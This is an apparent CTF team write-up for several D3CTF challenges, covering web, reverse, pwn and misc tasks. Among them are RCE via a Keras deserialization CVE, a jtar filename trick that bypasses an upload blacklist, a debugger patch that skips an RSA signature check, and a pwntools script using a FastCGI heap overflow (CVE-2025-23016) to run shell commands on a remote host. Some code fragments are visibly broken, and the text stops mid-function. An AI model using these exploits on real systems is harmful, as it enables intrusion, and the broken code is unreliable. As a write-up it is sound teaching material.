山海关安全团队是一支专注网络安全的实战型团队,团队成员均来自国内外各大高校与企事业单位,总人数已达50余人。Arr3stY0u(意喻“逮捕你”)战队与W4ntY0u(意喻“通缉你”)预备队隶属于团队CTF组,活跃于各类网络安全比赛,欢迎你的加入哦~
CTF组招新联系QQ2944508194,misc、crypto、pwn方向均有位置~pwn方向有考核题~
WEB
d3model
A Flask web server
Firstly, I could upload Keras model file. Then server would check it.
The server would load it to check if that model is valid. The version of keras package is 3.8.0, so it’s vulnerable to CVE-2025-1550, insecure deserialization to RCE. Then I found the sample PoC in https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models.
Note that the server network doesn’t have internet access, so we have to find a way to read flag. Since server served page by reading index.html file and return it as response:
d3invitation
An invitation creation web service. We also have another minio service link.
We could upload file, then server would generate an invitation form for us. We noticed that there was an api that generated minio credential.
Using minio cli, we can use that credential to authenticate. But it had very little permissions.
After a lot of fuzzing, I found that we could use this user to create another user with any permissions! Firstly, prepare a full control permissions config
Create user that has that config and read flag inside secret bucket
d3jtar
A java web service, where we can upload file, backup and restore them.
Server would store upload files at “/WEB-INF/views/” folder . If we could upload *.jsp file to that folder, we can got RCE.
But the blacklist banned it.
When creating a backup (archive), I found some problems with jtar library. I didn’t debug carefully but I think somethings were not correct at “org.kamranzafar.jtar.TarEntry#writeEntryHeader” function.
So that it didn’t handle file name with unicode character correctly. After some fuzzing, I found that if we have “jsɰ” filename extension, after archiving (creating tar) file, it became “jsp” => bypass the blacklist. Write a script to upload, backup and restore.
After uploading file, we would have filename returned back in response. Access it to get RCE and get flag.
tidy quic
代码规定了一个waf
func (w *wrap) Read(p []byte) (int, error) {
n, err := w.ReadCloser.Read(p)
if err != nil && !errors.Is(err, io.EOF) {
return n, err
}
for i := 0; i < n; i++ {
if p[i] == w.ban[w.idx] {
w.idx++
if w.idx == len(w.ban) {
return n, ErrWAF
}
} else {
w.idx = 0
}
}
return n, err
}
我们不能存在连续的flag字段,我刚开始想到的是用http3的特性之类的,但后面觉得我们是在应用层进行操作,网络层的特性已经被屏蔽了,于是审计代码发现
这块的buf缓存是可以复用的,我们只要每次保证length相同,就可以拿到上次申请的buff,类似于这种效果
对于题目使用的http3请求,可以使用curl来完成请求
得到了flag
REVERSE
d3rpg-revenge
在游戏中通过与这个人的对话选择"我是Reverse"手,就可以进行flag的check
首先随便输入然后通过CE附加d3rpg,然后直接在内存窗口搜索AAAAAAAAAAAA,然后下断点
然后我们在d3rpg.dll+50DEA的地方断了下来,我们可以换xdbg进行调试并且在d3rpg.dll+50DEA的地方下断点继续重复之前的动作
然后我们发现第一次断在这里是另一个字符串,我们在内存里面搜索一下这个字符串
在CE里面搜索得到一个ruby脚本,这个脚本就是我们的check脚本是个魔改的xxtea
这是我们提取出来的ruby脚本
class Secret_Class
DELTA = 0x1919810 | (($de1ta + 1) * 0xf0000000)
def initialize(new_key)
@key = str_to_longs(new_key)
if @key.length < 4
@key.length.upto(4) { |i| @key[i] = 0 }
end
end
def self.str_to_longs(s, include_count = false)
s = s.dup
length = s.length
((4 - s.length % 4) & 3).times { s << " " }
unpacked = s.unpack('V*').collect { |n| int32 n }
unpacked << length if include_count
unpacked
end
def str_to_longs(s, include_count = false)
self.class.str_to_longs s, include_count
end
def self.longs_to_str(l, count_included = false)
s = l.pack('V*')
s = s[0...(l[-1])] if count_included
s
end
def longs_to_str(l, count_included = false)
self.class.longs_to_str l, count_included
end
def self.int32(n)
n -= 4_294_967_296 while (n >= 2_147_483_648)
n += 4_294_967_296 while (n <= -2_147_483_648)
n.to_i
end
def int32(n)
self.class.int32 n
end
def mx(z, y, sum, p, e)
int32(
((z >> 5 & 0x07FFFFFF) ^ (y << 2)) +
((y >> 3 & 0x1FFFFFFF) ^ (z << 4))
) ^ int32((sum ^ y) + (@key[(p & 3) ^ e] ^ z))
end
def self.encrypt(key, plaintext)
self.new(key).encrypt(plaintext)
end
def encrypt(plaintext)
return '' if plaintext.length == 0
v = str_to_longs(plaintext, true)
v[1] = 0 if v.length == 1
n = v.length - 1
z = v[n]
y = v[0]
q = (6 + 52 / (n + 1)).floor
sum = $de1ta * DELTA
p = 0
while(0 <= (q -= 1)) do
sum = int32(sum + DELTA)
e = sum >> 2 & 3
n.times do |i|
y = v[i + 1];
z = v[i] = int32(v[i] + mx(z, y, sum, i, e))
p = i
end
p += 1
y = v[0];
z = v
= int32(v
+ mx(z, y, sum, p, e))
end
longs_to_str(v).unpack('a*').pack('m').delete("n")
end
def self.decrypt(key, ciphertext)
self.new(key).decrypt(ciphertext)
end
end
end
def validate_flag(input_flag)
c_flag = input_flag + " "
result = $check_flag.call(c_flag)
result == 1
end
def check
flag = $game_party.actors[0].name
key = Scene_RPG::Secret_Class.new('rpgmakerxp_D3CTF')
cyphertext = key.encrypt(flag)
if validate_flag(cyphertext)
$game_variables[1] = 100
else
$game_variables[1] = 0
end
end
def check1
flag = $game_party.actors[0].name
if flag == "ImPsw"
$game_variables[2] = 100
else
$game_variables[2] = 0
end
end
密文在secret_dll.dll里面
exp
( (( ((z >> 5) & 0x07FFFFFF) ^ (y << 2) ) +
( ((y >> 3) & 0x1FFFFFFF) ^ (z << 4) ) ) ^
( ( (sum) ^ (y) ) + ( (key)[((p) & 3) ^ (e)] ^ (z) ) ) ) & 0xFFFFFFFF
void btea(uint32_t* v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v
;
z = v
+= MX(z, y, sum, p, e, key);
}
y = v[0];
z = v[n - 1] += MX(z, y, sum, p, e, key);
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v
;
y = v
-= MX(z, y, sum, p, e, key);
}
z = v[n - 1];
y = v[0] -= MX(z, y, sum, p, e, key);
sum -= DELTA;
} while (--rounds);
}
}
int main()
{
uint32_t v[5] = { 0x7d6f152e,0x52c072ea,0x06bf1d2c,0xbb5d43f2,0x4dde498f };
uint32_t key[4] = { 0x6D677072,0x72656b61,0x445f7078,0x46544333 };
btea(v, -5, key);
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 4;j++)
{
printf("%c", (v[i] >> (8 * j)) & 0xFF);
}
}
return 0;
}
AliceInPuzzle
比较典型的fork进程ptrace附加调试,但aarch64平台。
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // x0
v3 = setup_signal_handlers();
child_pid = fork(v3);
if ( child_pid )
tracer_main();
else
tracee_main();
return 0;
}
被调试的子进程会释放ELF文件并执行。
void tracee_main(void)
{
int v0; // w0
unsigned int v1; // w19
__int64 v2; // [xsp+0h] [xbp-20h] BYREF
_QWORD v3[2]; // [xsp+8h] [xbp-18h] BYREF
v0 = syscall(SYS_memfd_create, "puzzle", 1, 0);
if ( v0 < 0 || (v1 = v0, write(v0, payload, 0x1936A0) != 0x1936A0) )
exit(1);
usleep(1000);
v2 = 0;
v3[0] = "puzzle";
v3[1] = 0;
fexecve(v1, v3, &v2);
}
elf执行到dbg指令处触发异常,进入sigtrap回调开始解密代码,在下一个dbg指令处停止。
void handle_sigtrap(unsigned int a1)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]
v9[0] = &v10;
v9[1] = 0x110;
++handle_sigtrap(int)::sig_count;
if ( !ptrace(PTRACE_GETREGSET, a1, 1, v9) )
{
v2 = v11;
v3 = ptrace(PTRACE_PEEKTEXT, a1, v11, 0);
v4 = v3;
v5 = (_DWORD *)_errno_location(v3);
if ( !*v5 && v4 == 0xD4200000 ) // arm64 debug指令
{
while ( 1 )
{
v6 = ptrace(PTRACE_PEEKTEXT, a1, v2, 0);
if ( *v5 )
break;
v7 = v6 + 0xE3201F;
ptrace(PTRACE_POKETEXT, a1, v2, v6 & 0xFFFFFFFF00000000LL | (unsigned int)(v6 + 0xE3201F));
if ( *v5 || v7 == v4 )
break;
v2 += 4;
}
}
}
}
解密完后就能正常反编译了
puzzle
// 0x4020CC
v46 = puzzle_input;
do
{
for ( k = 0; k != 9; ++k )
{
if ( v46[k] )
{
v49 = v44[k];
if ( (v49 & 1) == 0 )
{
v48 = v46[k];
if ( v48 != sub_401BD0(v2, k, v48, puzzle_input) )
v45 = v49;
}
}
}
++v2;
v44 += 9;
v46 += 9;
}
while ( v2 != 9 );
puzzle地图数据采用leb128编码。
// 0x401E5C leb128 decode
v3 = (int *)byte_5A0040;
v4 = 0;
v5 = 0;
v6 = 0;
do
{
v7 = (*(_BYTE *)v3 & 0x7F) << v6;
v6 += 7;
v5 |= v7;
if ( (*(_BYTE *)v3 & 0x80) == 0 )
{
*(_DWORD *)&puzzle_data[4 * v4++] = v5;
v6 = 0;
v5 = 0;
}
v3 = (int *)((char *)v3 + 1);
}
while ( v3 != &dword_5A007F );
提取puzzle地图数据
import io
import leb128
import struct
buf = io.BytesIO(ida_bytes.get_bytes(0x5A0040, 63))
data = []
for i in range(21):
v, size = leb128.u.decode_reader(buf)
data.append(v)
b = list(struct.pack('<21I', *data))
for i in range(9):
print([b[i*9+j] for j in range(9)])
puzzle数据
[ ]
[ ]
[ ]
[ ]
[ ]
[ ]
[ ]
[ ]
[ ]
puzzle验证函数。
int __fastcall sub_401BD0(int a1, int a2, char a3, char *a4)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]
v6 = 1;
v7 = 1;
v8 = a3;
v17 = *(_QWORD *)off_59F688;
byte_5A1B20[9 * a1 + a2] = 1;
*(_OWORD *)v15 = xmmword_5353C0; // 0 1 0 -1
*(_OWORD *)v16 = xmmword_5353D0; // 1 0 -1 0
do
{
y = a1 + v15[v6 - 1];
x = a2 + v16[v6 - 1];
if ( y <= 8 && x <= 8 )
{
v13 = 9 * y + x;
if ( (byte_5A1B20[v13] & 1) == 0 && a4[v13] == v8 )
{
v14 = a4;
v7 += sub_401BD0(y, x, v8, a4);
a4 = v14;
}
}
++v6;
}
while ( v6 != 5 );
if ( v17 != *(_QWORD *)off_59F688 )
sub_506470();
return v7;
}
这其实是一种叫码牌(fillomino)的谜题游戏。
https://www.cross-plus-a.com/cn/puzzles.htm#Fillomino
Fillomino ("Polyominous")谜题的盘面是大小随意的长方形格网,在有的小格中有数字。需要将盘面分为几个大块,每个大块包含的小格数量要相当于大块的小格包含的数字。大小相同的大块不可以水平或垂直地相连。不包含数字的小格也可以构成大块,有助于解决该谜题。
手搓就行了,从边角入手。
data = [
3, 6, 6, 6, 6, 6, 6, 2, 2,
3, 3, 2, 2, 4, 4, 3, 3, 1,
6, 6, 6, 6, 5, 4, 4, 3, 6,
6, 2, 2, 6, 5, 6, 6, 6, 6,
4, 7, 7, 7, 5, 5, 5, 8, 6,
4, 4, 4, 7, 7, 6, 3, 8, 8,
5, 6, 6, 6, 7, 6, 3, 3, 8,
5, 6, 6, 6, 7, 6, 6, 8, 8,
5, 5, 5, 2, 2, 6, 6, 8, 8,
0, 0, 0
]
import leb128
data = struct.unpack('<21I', bytes(data))
s = b''
for i in range(21):
s += leb128.u.encode(data[i])
s = s.hex()[::-1] ############
import hashlib
print(s)
print(hashlib.md5(s.encode()).hexdigest())
800489c8280149a858040ac8688389c868820a683803c9c868034909888189e878020988680449a85883c9e8480389c86882894828038968480249c868038928388109882801c868280189c8680389c838
a6410f9a866c52763c11bce9fb8b06ca
至于puzzle的输入为什么要加个逆序才会提示成功呢?可能跟mangle函数的实现有关,没仔细看,卡了好久。
v5 = (uint8_t *)strdup(v12);
while ( 1 )
{
v8 = strlen(v5);
if ( v4 >= v8 >> 1 )
break;
v6 = v5[v4];
v5[v4] = v5[v8 - 1 - v4];
v7 = &v5[strlen(v5) - v4++];
*(v7 - 1) = v6;
}
d3kernel
驱动部分有个简单的vm实现。
第一部分比较简单,就是往对应内存位置填充flag数据。
d3vm = d3vm_create(200);
v124 = 18;
si128 = _mm_load_si128((const __m128i *)&dword_1400042A0);
d3vm_set_code(d3vm, si128.m128i_i32, 20);
off = 11;
for ( k = 0; k < 36; ++k )
{
si128.m128i_i32[1] = buffer[k + 256];
si128.m128i_i32[3] = off; // mem[off] = flag[k]
d3vm_exec(d3vm, 0, 0);
++off;
}
v126 = 18;
v125 = _mm_load_si128((const __m128i *)&dword_1400042A0);
d3vm_set_code(d3vm, v125.m128i_i32, 20);
v125.m128i_i32[1] = 36;
v125.m128i_i32[3] = 10; // mem[10] = 36
d3vm_exec(d3vm, 0, 0);
第二部分对输入的数据加密并验证。
d3vm_set_code(d3vm, v131, 308);
d3vm_exec(d3vm, 0, (void (__fastcall *)(__int64 *, _QWORD, _QWORD))sub_140002490);
...
...
v32 = 36;
while ( 1 )
{
v33 = v136[v31];
--v32;
v34 = *((_BYTE *)&dword_140005030 + v31++);
if ( v33 != v34 )
goto LABEL_65;
if ( !v32 )
{
if ( byte_1400051CC )
goto LABEL_65;
v5 = 29;
v35 = &v116;
v36 = 0;
// b'qwq, why!!!!! my secret!!!!!x00'
v116 = *(_OWORD *)byte_140004270;
qmemcpy(v117, "c7 %5-=kjmloO", 13);
把字节码翻译成汇编指令。
bytecode = [10, 0, 24, 0, 14, 0, 10, 0, 24, 0, 14, 1, 10, 0, 24, 0, 14, 2, 10, 0, 24, 0, 14, 3, 10, 100, 24, 0, 14, 4, 12, 10, 12, 0, 5, 8, 76, 10, 10, 12, 0, 1, 22, 14, 2, 10, 11, 12, 0, 1, 22, 14, 3, 12, 2, 12, 3, 4, 23, 4, 12, 0, 10, 1, 1, 14, 0, 12, 4, 10, 1, 1, 14, 4, 7, 30, 18]
sp = -1
pc = 0
v10 = pc
while True:
opcode = bytecode[pc]
asm = f'{pc} '
pc += 1
match opcode:
case 1:
sp-=1
asm += 'add'
case 22:
sp-=1
asm += 'push mem[mem[pop()]]'
case 23:
sp-=1
op1 = bytecode[pc]
pc += 1
asm += f'pop mem[mem[{op1}]]'
case 4:
asm += f'xor'
case 5:
sp-=1
asm += 'less'
case 7:
dst = bytecode[pc]
pc += 1
asm += f'jmp {dst}'
case 8:
sp-=1
dst = bytecode[pc]
pc += 1
asm += f'jmp.T {dst}'
case 10:
sp += 1
op1 = bytecode[pc]
pc += 1
asm += f'push {op1}'
case 12:
sp += 1
op1 = bytecode[pc]
pc += 1
asm += f'push mem[{op1}]'
case 14:
sp -= 1
op1 = bytecode[pc]
pc += 1
asm += f'pop mem[{op1}]'
case 24:
op1 = bytecode[pc]
pc +=1
asm += f'callext {pc} {op1}'
case 18:
asm += 'return'
case _:
print('unk', opcode)
break
print(asm)
if opcode == 18:
break
0 push 0
2 callext 4 0
4 pop mem[0]
6 push 0
8 callext 10 0
10 pop mem[1]
12 push 0
14 callext 16 0
16 pop mem[2]
18 push 0
20 callext 22 0
22 pop mem[3]
24 push 100
26 callext 28 0
28 pop mem[4]
30 push mem[10]
32 push mem[0]
34 less
35 jmp.T 76
37 push 10
39 push mem[0]
41 add
42 push mem[mem[pop()]]
43 pop mem[2]
45 push 11
47 push mem[0]
49 add
50 push mem[mem[pop()]]
51 pop mem[3]
53 push mem[2]
55 push mem[3]
57 xor
58 pop mem[mem[4]]
60 push mem[0]
62 push 1
64 add
65 pop mem[0]
67 push mem[4]
69 push 1
71 add
72 pop mem[4]
74 jmp 30
76 return
算法比较简单mem[10]作为初始key,相邻字节异或。
解出flag
ea = 0x140005030
data =
key = 36
s =
for i in range(36):
key ^= data[i]
s.append(key)
print(bytes(s))
# b'a68dfb06-798f-4bd1-9e81-011aaec113f0'
locked-door
题目加vmp壳了,调试会被检测弹窗退出。
先用插件过掉反调试,往ExitProcess中间下个断点,直接dump出来。
或者用这个脚本也是可以的。
https://github.com/oureveryday/VMPUnpacker/blob/master/python/vmpunpacker.py
根据字符串信息定位到关键函数。
void sub_1400FCCC0()
{
int v0; // [rsp+20h] [rbp-338h]
int v1; // [rsp+20h] [rbp-338h]
_BYTE *v2; // [rsp+28h] [rbp-330h]
__int64 v3; // [rsp+38h] [rbp-320h]
int v4; // [rsp+58h] [rbp-300h]
int v5[64]; // [rsp+70h] [rbp-2E8h] BYREF
int Val[116]; // [rsp+170h] [rbp-1E8h] BYREF
printf("Flag is behind the doorn");
// -----BEGIN PUBLIC KEY-----
// MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9d/0tTYVPQJgfmzWyQRn
// kuZMomm2+jKEi8mFiRIoRLzP/6daOAcZ7UipNcMTA+bii9BTqftTqZmLraHA9FR7
// 47ZnGnQE7KimRIj+q35fhVCXVS2hna2OYkpKvyMUg6fcXuBQ2tRWjT/0+0y0w1xR
// BFUcgGz9RDJrtTQC/4Rf94In95ZcggQlJuSoBvFoPws+X/dH32Zliq4jOAf+Mw1f
// 3bIPNme7bE3n475JmX2OtLll3tOHyHWcKtjdCgYgXqfWPesyn4FrB13bHJ45TiIg
// 6TOyTQdS0lHb6/6n+Cn2ofwOsJx07odgRgFdaS3lfSfGK3UKueVg/uSvOes1kWDP
// RQIDAQAB
// -----END PUBLIC KEY-----
vm_decrypt_string(byte_140385180, Val, 450);
v3 = sub_1400FC7D0(Val);
v0 = (unsigned int)getfile("key1.bin", 256);
decrypt(v0, v5);
if ( verify((__int64)"Welcome", (__int64)v5, 256, v3) )
{
printf("The key1 is correct, but there is a second doorn");
v2 = malloc(451u);
memcpy(v2, (int)Val, 450u);
v2[450] = 0;
v4 = sub_1400FC7D0(v2);
v1 = (unsigned int)getfile("key2.bin", 256);
decrypt(v1, v5);
// flag{Y0u_0p3n_7h3_d00r!!!}
sub_1400FC4A0((int)"Here is the key", (int)v5, 256, v4);
}
else
{
printf("The key1 is wrongn");
}
sub_1402902E8();
}
就是一个常规的rsa2048_sha256验证算法。
_BOOL8 __fastcall verify(__int64 a1, __int64 a2, __int64 a3, __int64 pubkey)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]
v8 = evp_digest();
if ( !v8 )
sub_1400FC3A0();
v4 = (unsigned int)sha256_md();
if ( (int)sub_1400FD7F0(v8, 0, v4, 0, pubkey) <= 0 )
sub_1400FC3A0();
v5 = pad(a1);
if ( (int)EVP_DigestVerifyUpdate(v8, a1, v5) <= 0 )
sub_1400FC3A0();
LODWORD(Size) = 0;
v9 = sha256_md();
EVP_DigestUpdate(off_1403A1F70[0], 4, (unsigned int)Buf2, (unsigned int)&Size, (__int64)v9, 0);
if ( memcmp(byte_1403A1F50, Buf2, (unsigned int)Size) )
{
printf(
"File corrupted! This program has been manipulated and maybe it's infected by a Virus or cracked. This file won't work anymore.n");
sub_1400FC3A0();
}
v7 = EVP_DigestVerifyFinal(v8, a2, a3);
sub_140101570(v8);
if ( v7 < 0 )
sub_1400FC3A0();
return v7 == 1;
}
void __stdcall sub_1400FC450()
{
char v0[24]; // [rsp+20h] [rbp-28h] BYREF
vm_decrypt_string(byte_140385890, v0, 20);
printf("flag{%s}n", v0);
}
题目逻辑还是比较清晰的,key1、key2验签成功后会调用sub_1400FC450打印出flag。
问题是N 2048位也没办法分解,没有私钥自己来签名是完全做不到的。
题目描述中有提到key1和key2的验证方式是相同的,所以可以在EVP_DigestVerifyFinal中间下个断点,
EVP_DigestVerifyFinal断下后,回到上一层返回地址,把返回值rax改成1,运行后flag就自己打印出来了。
Flag is behind the door
The key1 is correct, but there is a second door
The key2 is correct, here is your flag
flag{Y0u_0p3n_7h3_d00r!!!}
PWN
d3cgi
CVE-2025-23016
首先使用curl初始化堆布局,方便后续堆溢出覆盖fillBuffProc,替换lighttpd.conf,重启lighttpd进程再访问web即可获取flag
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import os
context(arch='i386', os='linux', log_level='debug')
def run_command(command,filename):
for i in command:
print(i)
os.system("curl http://35.220.136.70:30497")
exe = context.binary = ELF('./challenge')
def start(argv=[], *a, **kw):
return remote("35.220.136.70", 31485)
"""
typedef struct {
unsigned char version;
unsigned char type;
unsigned char requestIdB1;
unsigned char requestIdB0;
unsigned char contentLengthB1;
unsigned char contentLengthB0;
unsigned char paddingLength;
unsigned char reserved;
} FCGI_Header;
"""
def makeHeader(type, requestId, contentLength, paddingLength):
header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)
return header
"""
typedef struct {
unsigned char roleB1;
unsigned char roleB0;
unsigned char flags;
unsigned char reserved[5];
} FCGI_BeginRequestBody;
"""
def makeBeginReqBody(role, flags):
return p16(role)[::-1] + p8(flags) + b"x00" * 5
io = start()
header = makeHeader(9, 0, 900, 0)
#print(hex(exe.plt["system"]))
if p8(i)==b'"':
commadline = b"/bi;echo -n '" + p8(i) + b"'>>./" + filename
commadline = commadline.ljust(20, b'x00')
else:
commadline=b"/bi;echo -n ""+p8(i)+b"">>./"+filename
commadline=commadline.ljust(20, b'x00')
#io.send(makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header + (p8(0x13) + p8(0x13) + b"b" * 0x26)*8 + p8(0) * (2*0)+ p32(0xffffffff) + p32(0xffffffff) + b"a" * (8+8) + commadline +p32(0) * 3 + p32(exe.plt["system"]) )
io.send(makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header + (p8(0x13) + p8(0x13) + b"b" * 0x26)*8 + p8(0) * (2*3)+ p32(0xffffffff) + p32(0xffffffff) + b"a" * (0x30) + commadline +p32(0) * 3 + p32(exe.plt["system"]) )
sleep(1.5)
io.close()
def run_command2(command):
for i in range(1):
print(i)
os.system("curl http://35.220.136.70:30497")
exe = context.binary = ELF('./challenge')
def start(argv=[], *a, **kw):
return remote("35.220.136.70", 31485)
"""
typedef struct {
unsigned char version;
unsigned char type;
unsigned char requestIdB1;
unsigned char requestIdB0;
unsigned char contentLengthB1;
unsigned char contentLengthB0;
unsigned char paddingLength;
unsigned char reserved;
} FCGI_Header;
"""
def makeHeader(type, requestId, contentLength, paddingLength):
header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)
return header
"""
typedef struct {
unsigned char roleB1;
unsigned char roleB0;
unsigned char flags;
unsigned char reserved[5];
} FCGI_BeginRequestBody;
"""
def makeBeginReqBody(role, flags):
return p16(role)[::-1] + p8(flags) + b"x00" * 5
io = start()
header = makeHeader(9, 0, 900, 0)
# print(hex(exe.plt["system"]))
commadline = b'/bi;'+command
commadline = commadline.ljust(20, b' ')
#io.send(makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header + (p8(0x13) + p8(0x13) + b"b" * 0x26)*8 + p8(0) * (2*0)+ p32(0xffffffff) + p32(0xffffffff) + b"a" * (8+8) + commadline +p32(0) * 3 + p32(exe.plt["system"]) )
io.send(makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header + (p8(0x13) + p8(0x13) + b"b" * 0x26)*8 + p8(0) * (2*3)+ p32(0xffffffff) + p32(0xffffffff) + b"a" * (0x30) + commadline +p32(0) * 3 + p32(exe.plt["system"]) )
sleep(1.5)
io.close()
run_command(b"server.document-root = "/home/ctf/www"nserver.port = 8888nindex-file.names = ("flag")nserver.modules = (n "mod_fastcgi",n)",b'2')
run_command(b"cp flag ./www;kill 13;mv 2 ./lighttpd.conf;LD_LIBRARY_PATH=/home/ctf/libs /home/ctf/lighttpd -f /home/ctf/lighttpd.conf",b'4')
run_command2(b"chmod 777 ./4")
run_command2(b"./4")
MISC
d3rpg-signin
跟程序员对话得到村长的密码
但是想要购买128RMB的商品,就得刷128次,于是想到用CE修改
通过增加的值搜索
得到1RMB相当于增加2
再通过直接搜索值的规律,当前为15,下次就是17
base64解密得到flag:d3ctf{W3lc0m3_7o_d3_RpG_W0r1d}
d3image
Exp:
pyproject.toml
[project]
name = "attachment"
version = "0.1.0"
description = "Add your description here"
requires-python = ">=3.11"
dependencies = [
"numpy>=2.2.6",
"pillow>=11.2.1",
"reedsolo>=1.7.0",
"torch>=2.7.0",
"torchvision>=0.22.0",
]
import torch.nn as nn
import torch.nn.init as init
import torch
import numpy as np
import math
from reedsolo import RSCodec
import zlib
rs = RSCodec(128)
def initialize_weights(net_l, scale=1):
if not isinstance(net_l, list):
net_l = [net_l]
for net in net_l:
for m in net.modules():
if isinstance(m, nn.Conv2d):
init.kaiming_normal_(m.weight, a=0, mode='fan_in')
m.weight.data *= scale # for residual block
if m.bias is not None:
m.bias.data.zero_()
elif isinstance(m, nn.Linear):
init.kaiming_normal_(m.weight, a=0, mode='fan_in')
m.weight.data *= scale
if m.bias is not None:
m.bias.data.zero_()
elif isinstance(m, nn.BatchNorm2d):
init.constant_(m.weight, 1)
init.constant_(m.bias.data, 0.0)
class IWT(nn.Module):
def __init__(self):
super(IWT, self).__init__()
self.requires_grad = False
def forward(self, x):
r = 2
in_batch, in_channel, in_height, in_width = x.size()
#print([in_batch, in_channel, in_height, in_width])
out_batch, out_channel, out_height, out_width = in_batch, int(
in_channel / (r ** 2)), r * in_height, r * in_width
x1 = x[:, 0:out_channel, :, :] / 2
x2 = x[:, out_channel:out_channel * 2, :, :] / 2
x3 = x[:, out_channel * 2:out_channel * 3, :, :] / 2
x4 = x[:, out_channel * 3:out_channel * 4, :, :] / 2
h = torch.zeros([out_batch, out_channel, out_height, out_width]).float()
h[:, :, 0::2, 0::2] = x1 - x2 - x3 + x4
h[:, :, 1::2, 0::2] = x1 - x2 + x3 - x4
h[:, :, 0::2, 1::2] = x1 + x2 - x3 - x4
h[:, :, 1::2, 1::2] = x1 + x2 + x3 + x4
return h
class DWT(nn.Module):
def __init__(self):
super(DWT, self).__init__()
self.requires_grad = False
def forward(self, x):
x01 = x[:, :, 0::2, :] / 2
x02 = x[:, :, 1::2, :] / 2
x1 = x01[:, :, :, 0::2]
x2 = x02[:, :, :, 0::2]
x3 = x01[:, :, :, 1::2]
x4 = x02[:, :, :, 1::2]
x_LL = x1 + x2 + x3 + x4
x_HL = -x1 - x2 + x3 + x4
x_LH = -x1 + x2 - x3 + x4
x_HH = x1 - x2 - x3 + x4
return torch.cat((x_LL, x_HL, x_LH, x_HH), 1)
def random_data(cover,device):
return torch.zeros(cover.size(), device=device).random_(0, 2)
def auxiliary_variable(shape):
noise = torch.zeros(shape)
for i in range(noise.shape[0]):
noise[i] = torch.randn(noise[i].shape)
return noise
def computePSNR(origin,pred):
origin = np.array(origin)
origin = origin.astype(np.float32)
pred = np.array(pred)
pred = pred.astype(np.float32)
mse = np.mean((origin/1.0 - pred/1.0) ** 2 )
if mse < 1.0e-10:
return 100
return 10 * math.log10(255.0**2/mse)
def make_payload(width, height, depth, text, batch = 1):
message = text_to_bits(text) + [0] * 32
payload = message
while len(payload) < batch * width * height * depth:
payload += message
payload = payload[:batch * width * height * depth]
return torch.FloatTensor(payload).view(batch, depth, height, width)
def text_to_bits(text):
return bytearray_to_bits(text_to_bytearray(text))
def bytearray_to_bits(x):
result = []
for i in x:
bits = bin(i)[2:]
bits = '00000000'[len(bits):] + bits
result.extend([int(b) for b in bits])
return result
def text_to_bytearray(text):
assert isinstance(text, str), "expected a string"
x = zlib.compress(text.encode("utf-8"))
x = rs.encode(bytearray(x))
return x
def bits_to_bytearray(bits):
ints = []
bits = np.array(bits)
bits = 0 + bits
bits = bits = bits.tolist()
for b in range(len(bits) // 8):
byte = bits[b * 8:(b + 1) * 8]
ints.append(int(''.join([str(bit) for bit in byte]), 2))
return bytearray(ints)
def bytearray_to_text(x):
try:
text = rs.decode(x)
text = zlib.decompress(text[0])
return text.decode("utf-8")
except BaseException:
return False
import torch
from model import Model
from utils import DWT, IWT, make_payload, bits_to_bytearray, bytearray_to_text
import torchvision
from collections import Counter
from PIL import Image
import torchvision.transforms as T
transform_test = T.Compose([
T.CenterCrop((720,1280)),
T.ToTensor(),
])
def load(name):
state_dicts = torch.load(name, map_location=torch.device('cpu'))
network_state_dict = {k:v for k,v in state_dicts['net'].items() if 'tmp_var' not in k}
d3net.load_state_dict(network_state_dict)
def transform2tensor(img):
img = Image.open(img)
img = img.convert('RGB')
return transform_test(img).unsqueeze(0).to(device)
def encode(cover, text):
cover = transform2tensor(cover)
B, C, H, W = cover.size()
payload = make_payload(W, H, C, text, B)
payload = payload.to(device)
cover_input = dwt(cover)
payload_input = dwt(payload)
input_img = torch.cat([cover_input, payload_input], dim=1)
output = d3net(input_img)
output_steg = output.narrow(1, 0, 4 * 3)
output_img = iwt(output_steg)
# torchvision.utils.save_image(cover, f'./{text}.png')
torchvision.utils.save_image(output_img, './steg.png')
def decode(steg):
# 正确的隐写术解码方法
steg_tensor = transform2tensor(steg)
print(f"输入图像张量形状: {steg_tensor.shape}")
B, C, H, W = steg_tensor.size()
steg_dwt = dwt(steg_tensor)
print(f"DWT后张量形状: {steg_dwt.shape}")
# 为隐写图像创建零填充的第二部分
# 在编码时:input = [cover_dwt, payload_dwt] -> output = [steg_dwt, residual_dwt]
# 在解码时:input = [steg_dwt, zeros] -> 通过反向操作 -> [cover_dwt, payload_dwt]
zeros = torch.zeros_like(steg_dwt).to(device)
input_tensor = torch.cat([steg_dwt, zeros], dim=1)
print(f"构造的输入张量形状: {input_tensor.shape}")
# 使用可逆网络的反向操作
with torch.no_grad():
# 对于可逆网络,我们需要正确地实现反向传播
# 这里应该使用网络的反向操作来恢复原始输入
recovered = reverse_d3net(input_tensor)
print(f"反向解码后张量形状: {recovered.shape}")
# 提取payload部分(后12个通道)
payload_dwt = recovered.narrow(1, 12, 12)
payload = iwt(payload_dwt)
# 将payload转换为二进制
image = payload.view(-1) > 0
candidates = Counter()
